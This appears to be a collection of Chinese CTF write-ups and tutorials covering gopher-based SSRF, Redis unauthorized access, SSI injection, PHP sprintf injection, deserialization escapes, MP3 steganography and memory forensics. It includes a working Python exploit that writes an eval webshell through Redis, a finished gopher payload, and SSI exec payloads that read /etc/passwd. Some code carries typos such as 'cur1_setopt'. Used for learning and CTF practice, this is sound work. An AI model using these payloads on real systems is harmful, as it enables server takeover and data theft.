[安洵杯 2019]easy_web

 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
         echo $cmd;
     } else {
         echo ("md5 is funny ~");
     } 
POST传入:a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 

<?php 
highlight_file(_FILE_); 
$x = $_GET['x']; 
$pos = strpos($x,"php"); 
if($pos){
    exit("denied");
} 
$ch=curl_init(); 
cur1_setopt($ch,CURLOPT_URL,"$x"); 
cur1_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo Sresult;
?>

思路:
◆可利用的协议有gopher、dict、http、https、file等
◆file协议可以用于查看文件
◆dict协议可以用于刺探端口
◆gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shel1

绕过strops,对p进行url二次编码绕过p->%70->%2570

最后发现172.18.0.1/2/3可以访问,其中172.18.0.2存在文件包含漏洞

再次利用BurpSuite探测该内网IP开放端口,发现存在25端口smtp服务

利用思路,利用Gopher协议发送一句话木马请求,污染其日志文件,最后通过文件包含漏洞将日志文件包含拿到shell。

工具利用Gopherus:https://github.com/tarunkant/Gopherus,该工具可快速生成指定Payload,python2下执行

root@iZ2ze0vvr76o932bopx4kxZ:~/SSRF工具/Gopherus-master# python gopherus.py -h
 usage: gopherus.py [-h] [--exploit EXPLOIT]
 optional arguments:
   -h, --help         show this help message and exit
   --exploit EXPLOIT  mysql, fastcgi, redis, smtp, zabbix, pymemcache,
                      rbmemcache, phpmemcache, dmpmemcache

最后将IP地址改为目标IP即可

但是木马肯定是无法直接执行的,我们的目的也是使该请求记录写到smtp的日志记录中。

Smtp常见日志文件位置:
◆/var/log/maillog
◆/var/log/mail.log
◆/var/adm/maillog
◆/var/adm/syslog/mail.log

0x00 简介

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

  • gopher的默认端口是70
  • 如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码

注意%0d%0a是\r\n的URL编码。

Gopher发送请求HTTP GET请求:

Windows下安装netcat,工具地址: https://eternallybored.org/misc/netcat/

在 C:\Windows\System32的文件夹下解压即可。

首先在本机上开启监听端口:nc -lvp 6666

Kali上:curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要传递的数据,_会被吃掉不会传递过去

发送一个原始的HTTP包

在gopher协议中发送HTTP的数据,需要以下三步

 1、构造HTTP数据包 
 2、URL编码、替换回车换行为%0d%0a 
 3、发送gopher协议 

首先利用PHPStudy新建一个get.php文件,内容

<?php    
echo "Hello ".$_GET["name"]."\n"
?>

传递?name=purplet,利用BurpSuite抓包可以看到报文头

GET /tes/get.php?name=purplet HTTP/1.1
Host: 192.168.194.1

URL编码后为: curl gopher://192.168.194.1:80/_GET%20/tes/get.php%3fname=purplet%20HTTP/1.1%0d%0aHost:%20192.168.194.1%0d%0a 

注意:

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a 

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

4.、gopher协议后的IP一定要接端口

Gopher发送请求HTTP POST请求:

POST与GET传参的区别:它有有4个参数为必要参数

POST /tes/post.php HTTP/1.1
host:192.168.194.1
Content-Type:application/x-www-form-urlencoded
Content-Length:12

name=purplet

如下构造:

curl gopher://192.168.194.1:80/_POST%20/tes/post.php%20HTTP/1.1%0d%0AHost:192.168.194.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:12%0d%0A%0d%0Aname=purplet%0d%0A

其中post.php

<?php 
echo "Hello".$_POST['name']."\n";
?>

0x01 redis未授权访问

什么是redis

Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库。

什么是redis未授权访问漏洞

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;注:默认在6379端口
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

漏洞利用常见三种方法:

(1)已知目标网站绝对路径写入Webshell
(2)定时任务反弹shell
(3)利用"公私钥"认证获取root权限,ssh免密登陆目标服务器 

CTF中较为常见的利用方法是写入webshell,通过redis连接工具

root@kali:~# redis-cli -h 192.168.5.57(目标IP)

可以不输入密码连接成功,下面这个命令会清空数据库,谨慎使用

 192.168.5.57:6379>flushall  

写入Webshell

192.168.5.57:6379>config set dir /var/www/html/ #设置网站路径,这里必须提前知道网站的路径,这个可以在phpinfo信息中获取
192.168.5.57:6379>config set dbfilename shell.php #创建文件
192.168.5.57:6379>set webshell "<?php @eval($_POST[1]);?>"
192.168.5.57:6379>save

0x02 CTF中的应用

[GKCTF2020]EZ三剑客-EzWeb

考点:redis未授权访问与gopher协议的利用

查看源代码后发现隐藏注释

传递?secret后看到ipconfig的信息,得到该网站的内网IP是173.235.203.10

在前端输入框中随意输入后看到url处存在一个url参数以GET形式传递了输入字符,疑似SSRF,将获得的本机IP传入,果真又出现了一个当前页面。实战可以尝试传入百度的网址,若有页面回显也可能存在一个SSRF漏洞。

既然是有回显的SSRF,可以利用BurpSuite其进行内网扫描,获取所有存在的内网IP。对C段进行选定爆破1-255

爆破结果得到4个内网IP

其中11时出现以下字: 被你发现了,但你也许需要试试其他服♂务,就在这台机子上! …我说的是端口啦1 ,给出了很明显的提示继续进行端口扫描

端口扫描时可不必从1-65535,针对经常会出现漏洞的的端口可进行一个扫描

21,22,23,25,53,80,89,110,139,143,161,443,445,465,873,993,995,1433,1521,1723,2049,3128,3306,3389,4100,5000,5432,5632,5900,6379,7001,8069,8080,8090,9200,9300,9871,11211,27017,27018

最终扫描结果看到存在redis的默认端口6379,很容易想到可能存在redis的未授权访问漏洞,同时测试发现file协议也被ban掉了,接下来利用gopher协议对redis进行写入webshell的操作。

exp如下,请仔细读懂,其中空格也利用${IFS}代替。

#/usr/bin/python
import urllib
protocol="gopher://"
ip="173.235.203.11"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

python2环境下运行后将得到的结果提交过去

gopher://173.235.203.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

最终拿到shell成功实现命令执行。

文章参考:https://zhuanlan.zhihu.com/p/112055947

https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#SSRF%E4%BB%8B%E7%BB%8D

0x00 知识点

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

重点: ssi是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtml等则考虑该网站可能存在SSI注入漏洞

0x01 SSI语法

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

SSI指令基本格式:<!-– 指令名称=”指令参数”>

①显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var=”DOCUMENT_NAME”–>

现在时间:

<!–#echo var=”DATE_LOCAL”–>

显示IP地址:

<!–#echo var=”REMOTE_ADDR”–>

将文本内容直接插入到文档中<#include>

<!–#include file=”文件名称”–>

<!–#include virtual=”index.html”–>

<!–#include virtual=”文件名称”–>

<!–#include virtual=”/www/footer.html” –>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<!–#flastmod file=”文件名称” –>

文件的长度:

<!–#fsize file=”文件名称” –>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd=”文件名称”–>

<!–#exec cmd=”cat /etc/passwd”–>

<!–#exec cgi=”文件名称”–>

<!–#exec cgi=”/cgi-bin/access_log.cgi”–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

补充说明:
1.<!– –>是HTML语法中表示注释,当WEB服务器不支持SSI时,会忽略这些信息。
2.#exec 为SSI指令之一。
3.cmd 为exec的参数, cat /etc/passwd为参数值,在本指令中指将要执行的命令。

4. <!–与#号间无空格,只有SSI指令与参数间存在空格。

0x02 CTF应用

[BJDCTF2020]EasySearch

扫描目录存在.swp备份文件,访问得到源码

<?php
 ob_start();
 function get_hash(){
 $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
 $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
 $content = uniqid().$random;
 return sha1($content); 
 }
    header("Content-Type: text/html;charset=utf-8");
 ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
 ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
 echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
 ***
    }
 ***
?>

第一个判断很明显就是一个套路的md5值相等问题,掏出脚本

import hashlib
 a = input("输入6位数")
 for i in range(1,100000001):
     s = hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6]
     if s == a:
         print(i)
         break
SSI注入

输入进去,F12打开得到路径回显

SSI注入

看到shtml后缀,考虑SSI注入,直接来一波命令执行先列个目录,最后在上级目录找到关键信息。

<!--#exec cmd="ls ../"-->

接着读取即可获得flag<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

利用SSI进行反弹shell及exec过滤绕过参看:https://blog.csdn.net/whatiwhere/article/details/84729008

0x01 定义和用法:

sprintf() 函数把格式化的字符串写入变量中。

arg1arg2++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符,如果不多于也可使用。占位符位于 % 符号之后,由数字和 “\$” 组成

语法:sprintf(format,arg1,arg2,arg++)

详情参看:https://www.w3school.com.cn/php/func_string_sprintf.asp

这里我将我觉得更为重要的部分列出

<?php
    $num=123;
    echo sprintf("the number is %1\$d",%num);
?>

​这个Demo就使用了占位符,输出结果: the number is 123 可以理解为1\$会被置为空,所以就以%d的形式输出。

<?php
    $num=123;
    echo sprintf("the number is %1$\d",%num);
?>

再看这个Demo,输出结果:the number is d 可以理解为%1$\会被置为空

0x02 sprintf注入原理

首先来看一下sprintf()的底层实现方法

switch (format[inpos]) {
case 's':
{
zend_string * t;
zend_string * str = zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case 'd':
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case 'u':
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case 'c':
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case 'o':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case 'x':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case 'X':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case 'b':
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case '%':
php_sprintf_appendchar( & result, &outpos, '%');
break;
default:
break;
}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:

没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空.

因此sprintf注入,或者说php格式化字符串注入的原理为:

要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用。

举两个例子:

不使用占位符

<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo  sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\会去匹配admin字符串,但是%\只会匹配空
?>

所以输出结果是: select * from user where username = ” and 1=1#’;

使用占位符

<?php
$input = addslashes ("%1$' and 1=1#" );//%1$\' and 1=1#
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\来匹配admin,那么admin只会出现在%s里,%1$\为空
echo  $sql ;
?>

所以输出结果是: SELECT * FROM t WHERE a=’admin’ AND b=” and 1=1#’

通过以上两个例子可以看到是通过吃掉’\’来使得单引号逃逸出来

0x03 CTF应用

以[DASCTF2020]babytricks为例

首先是一个登录框,在hint中找到select * from user where user='$user' and passwd='%s'

其中原题部分关键代码如下,同时因为有print_r的存在,所以出现了非预期解

<?php
$user = $_GET['user'];
$passwd = $_GET['passwd'];
$sql = "select * from user where user='$user' and passwd='%s' limit 0,1";
$sql = sprintf( $sql , $passwd);
echo $sql;
$query = mysqli_query($conn , $sql);
$row = mysqli_fetch_array($query);
print_r($row);
传入user=%1$&passwd=^0# 

输出结果: select * from user where user=’nd passwd=’^0#’ limit 0,1 可以看到没加\后没有构成占位符置空,反而向后吞噬三位吃掉了’ a

异或规则:相同为0,不同为1,而’nd passwd’会被PHP当作0来与后面的数值进行异或,从而实现了类似万能密码的构造,打印输出了内容

0x04 总结

sprintf的格式化字符串漏洞,首先通过传入%,看是否有sprintf函数的报错来进行判断。再根据格式化的位置利用占位符进行注入。本篇文章中要注意区分%1$\和%1\$的不同。

文章参考https://blog.csdn.net/weixin_41185953/article/details/80485075

0x01 赛题说明

图片 1.png

0x02 曲折

题目很明显,就是一道 MP3的隐写题,按照常规思路,有三种思路:

  • 直接右击txt打开,查找关键词 flag
  • 查看该音频文件的波形图、频谱图,是否存在相关信息可以转化为摩斯电码
  • 查看mp3 中是否含有隐藏文件,提取文件

第一种思路没报多大打算,果然没有:

图片 2.png

第二个思路:

波形图:

图片 3.png

频谱图

图片 4.png

都没有任何有用的信息

第三种思路:使用MP3Steno提取 mp3 中可能存在的 TXT 文件,如下:

图片 5.png

猜解出密码为icsc,提取成功:

图片 6.png

就在我以为会有啥好结果出现的时候,打开文件:

图片 7.png
图片 8.png

这啥玩意?文件开头字节为 Yy,不是什么常见的文件格式,内容也基本上没有完整的有意义的字符串,一度陷入沉默……

想了半天没有结果,于是换思路。

Binwalk 发现:

图片 9.png

存在一个 JPEG 文件,想了下,应该是专辑的封面,不确定是否有用,于是 strings:

图片 10.png

发现有 PS 的痕迹,难道?

提取出图片:

图片 11.png

尝试各种图片隐写的方法,均无果……遂放弃

0x03 题解(第四种)

赛后我问了一些师傅,最终知道了这题的解决方法。

首先回到题目里去,题目提示,通过某种 private 的方式传递信息

而当你用 010editor 打开该 Mp3 文件,并按照提示安装插件后,发现:

图片 12.png

存在一个private bit
因此,只需要提取每一个 mf组中的该字节,组合起来,就是答案。

可以从图中看到 ms 开始位为1 C1B8H,即第 115128 字节

图片 13.png
uint32 frame_sync : 12

uint32 mpeg_id : 1

uint32 layer_id : 2

uint32 protection_bit : 1

uint32 bitrate_index : 4

uint32 frequency_index : 2

uint32 padding_bit : 1

uint32 private_bit : 1

uint32 channel_mode : 2

uint32 mode_extension : 2

uint32 copyright : 1

uint32 original : 1

uint32 emphasis : 2

12+1+2+1+4+2+1+1+2+2+1+1+2=32

即 总共 4 字节,private_bit 为24,所在的字节为第 3 个字节

因此要从前一个,即第二个字节开始提取内容,该字节对应的地址为 115130

观察每一个 mf组

图片 14.png

大小都为414h,即1044字节

因此可以得到以下脚本:

# coding:utf-8
import re
import binascii

n = 115130
result = ''
fina = ''
file = open('flag-woody.mp3','rb')
while n < 2222222 :
    file.seek(n,0)
    n += 1044
    file_read_result = file.read(1)
    read_content = bin(ord(file_read_result))[-1]
    result = result + read_content
textArr = re.findall('.{'+str(8)+'}', result)
textArr.append(result[(len(textArr)*8):])
for i in textArr:
    fina = fina + hex(int(i,2))[2:].strip('\n')
fina = fina.decode('hex')
print fina

最终得到 flag:

图片 15.png

感谢Batsu师傅的帮助

De1CTF2020的 mc_easybgm也是第四种方法解答

访问页面,在源代码中找到 assets/bgm.mp3 路径,访问http://134.175.230.10/assets/bgm.mp3,右键查找页面信息,下载音频

编写脚本

import re
import binascii

n = 0x28a3
result = ''
file = open('bgm.mp3','rb')
file.seek(n, 0)

def w(s):
    with open("1.txt", "a+") as f:
        f.write(s + "\n")

for i in range(0, 3284):
    frame_hdr = file.read(4)
    hex_data = binascii.b2a_hex(frame_hdr).decode("utf8")
    bin_data = bin(int("0x" + hex_data,16)).replace("0b", "")
    w(bin_data)
    n += 0x1a1
    file.seek(n, 0)​

生成1.txt之后用notepad++打开按住Alt键向下拉动将第24比特(即第24列)复制出来,然后计算长度,选择最靠近的长度为336bit,多余的0删掉。得到

101111101000010010101110011010101000001001010110110011000010001011111010001000101000110001001110000011001110101011111010001011100110001000101100010010101100001011001100111011001001011010110010111110100000110000101110111110101100110010110110000011001100011010001100110011001110101011011110011000100010101011000010100011001010011000100010

反转得到

010001000110010100110001010000110101010001000110011110110101011100110011001100010110001100110000011011010011001101011111011101000011000001011111010011010110100100110111001100110100001101010010001101000100011001110100010111110101011100110000011100100011000101000100010111110100010000110011011010100100000101010110011101010010000101111101

最后转成ASCII码即可。

本文部分内容转自:https://www.cnpanda.net/ctf/342.html

0x00 前提

掌握PHP反序列化的原理,序列化的对应内容及POP链构造。可参看:

https://xz.aliyun.com/t/3674https://xz.aliyun.com/t/6454

PHP的反序列化特点:

01.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。

02.当长度不对应的时候会出现报错

03 可以反序列化类中不存在的元素

<?php
class user{
    public $name = 'purplet';
    public $age = '20';
}
$b='O:4:"user":3:{s:4:"name";s:7:"purplet";s:3:"age";s:2:"20";s:6:"gender";s:3:"boy";}';
print_r(unserialize($b));
?>

​输出:

0x01 字符串逃逸

此类问题分为两种:1-过滤后字符变多,2-过滤后字符变少。

1-过滤后字符变多的原理就是引用的闭合思想。

案列Demo:

<?php
function filter($string){
    $filter = '/p/i';
    return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

该Demo的输出结果就可以看到p被换成了两个W,而前面对应的数值仍然是没过率之前的7。而后面的报错注意,也就是上面所说的特点2的性质。

而也是因为有这个过滤的存在,所以存在了注入的漏洞,我们可以构造序列化字符修改age的值,构造修改age的值的代码:";i:1;s:2:"20";} ,再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";} 拼接,即:username的值此时传入的是: pppppppppppppppp”;i:1;s:2:”20″;},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";} 成功逃逸,修改了age的值。(后面的值忽略是特点1)

这种逃逸的技巧:判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,多出两个以上可以这样去构造(这里我已2个为例):也就可以这么理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)

2-过滤后字符变少的问题

<?php
function filter($string){
    $filter = '/pp/i';
    return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

再看这个Demo,很明显两个p会变成一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬直到遇到”;结束,所以这种问题就不再是只传递一个值,而应该username处传递构造的过滤字符,age传递逃逸代码。

那么如何构造呢?

第一步、将上面正常传递age=10序列化后的结果;i:1;s:2:”10″;} 修改成构造代码 ;i:1;s:2:”20″;} 再次传入,该值即为最终的逃逸代码,而此时username传递的p的数值无法确定,先可随意构造,查看结果

很明显红线为我们传递的age的值,而再看前面26所应包含的内容为WWWWWWWWWWWWW”;i:1;s:15: 可以发现吃掉了一个原本对应的双引号,使前后引号不对应。

第二步、我们依然要闭合引号,所以age处传递一个任意数值和双引号进行闭合,即:再次传入age = A”;i:1;s:2:”20″;},查看结果

第三步、很明显此处选中的部分就是我们构造出要被吃掉的字符串,(也就变为了我们上面所说的第一种情况)计算出它的长度为13,而又知晓过滤后字符缩减一半,那么就可以构造13*2=26个p,即最终传递usernmae=pppppppppppppppppppppppppp,age=A”;i:1;s:2:”20″;}

最终成功使前面的被吃掉,后面构造的代码成功逃逸。

0x02 CTF中应用

以DASCTF的Ezunserialize为例(字符减少)

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

​从源码中可以看到这是一个POP链的构造, 这里很明显是用C类中的__toString()方法中的file_get_contents()来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b; 此处的$b属性实例化为C对象即可触发__toString()方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B,整个POP链便构造完成了:

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

得到:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

​而接下来才是考虑反序列化字符串逃逸的问题,可以看到有两个过滤代码,一种减少一种增加,同时要求传入username和password的值,那么很明显就是上面我们所介绍的第二种方法(减少),同时注意带有POP链构造的,第一步一定要是POP链的构造,也就是第二种方法介绍的第一步。

首先a的过滤字符随意传入,b传入;s:8:”password”;O:1:”B”:1:{s:1:”b”;O:1:”C”:1:{s:1:”c”;s:8:”flag.php”;}}}

再看前面的双引号,出现了预期的不对应,补充A”,再次传入

计算画线长度为24,同时知晓过滤后字符由6变为3(减半),因此构造长度为48的\0大军,即(24个\0)

object(A)#2 (2) {
  ["username"]=>
  string(48) "********";s:8:"password";s:74:"A"
  ["password"]=>
  object(B)#3 (1) {
    ["b"]=>
    object(C)#4 (1) {
      ["c"]=>
      string(8) "flag.php"
    }
  }
}

​成功修改了C类中的c属性的值,变成了flag.php

0x03 最后

反序列化字符串逃逸中的难点有两个,一是POP链的构造,二是字符串减少的逃逸,字符串变多的逃逸只应用了减少中的一部分,因此相较为简单,本文也没对此类CTF题进行解析,思路与第一个Demo的构造是相同的。

练习:[GYCTF2020]Easyphp,[0CTF 2016]piapiapia可在BUUCTF上寻找复现

Referer:

https://blog.csdn.net/qq_41918771/article/details/105754357

https://jiang-niao.github.io/2020/03/24/PHP%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E9%80%83%E9%80%B8/

0x00 前言

本文对我曾接触到过的CTF中的内存取证类题目与USB流量分析类题目进行一个总结类梳理。其中kali里集成了取证神器volatility与流量分析神器tshark

0x01 Volatility

第一步提取内容镜像信息

常用命令volatility -f <xxx.vmem>(或xx.raw) imageinfo

使用imageinfo插件获取到基本信息,特别是内存数据是什么操作系统下生成的,这点尤为重要 (如图的WinXPSP2x86) 因为在接下来每一步都要命令“–profile”指定操作系统的属性。

第二步列取文件中曾使用的进程信息

常用命令: pslist/pstree/psscan

1)pslist无法显示隐藏/终止进程。
2)解决这个问题的插件是psscan,这个插件输出的内容会比pslist多得多。(所以全面信息获取用psscan)
3)pstree同样也是扫描进程的,但是是以进程树的形式出现的。

同时可以搭配grep命令进行对可疑进程(cmd.exe、notepad.exe等)的快速筛选

第三步根据进程中使用的工具对应查看

常用命令:cmdscan notepad

cmdscan 可以用来查看受害者系统上攻击者操作的最强大的命令之一,无论他们是否打开cmd.exe。简单地说,可以看到攻击者在命令提示符中键入的内容。

当进程中存在notepad.exe时,可用notepad插件查看文本中所写内容

第四步文件探测

常用命令:filescan

该命令通常结合grep命令对所需要文件进行筛选,以下我已在CTF中遇到的两道内存取证的文件隐藏做出结论:大概率搜索桌面即可。

第五步提取文件

常用命令:dumpfiles memdump

volatility -f [imgfile] –profile=[imgversion] dumpfiles -Q [file_offset] –dump-dir [outdir]

注意红框所示需要对应,–dump-dir指定下载到本地的什么位置(这里是当前目录),注:下载下来的文件如果是普通文件(图片,文本)会直接以dat结尾,如果是压缩包,则会在前面加上一个.zip(蓝箭头所指)后续的使用修改为对应文件名及其后缀即可。

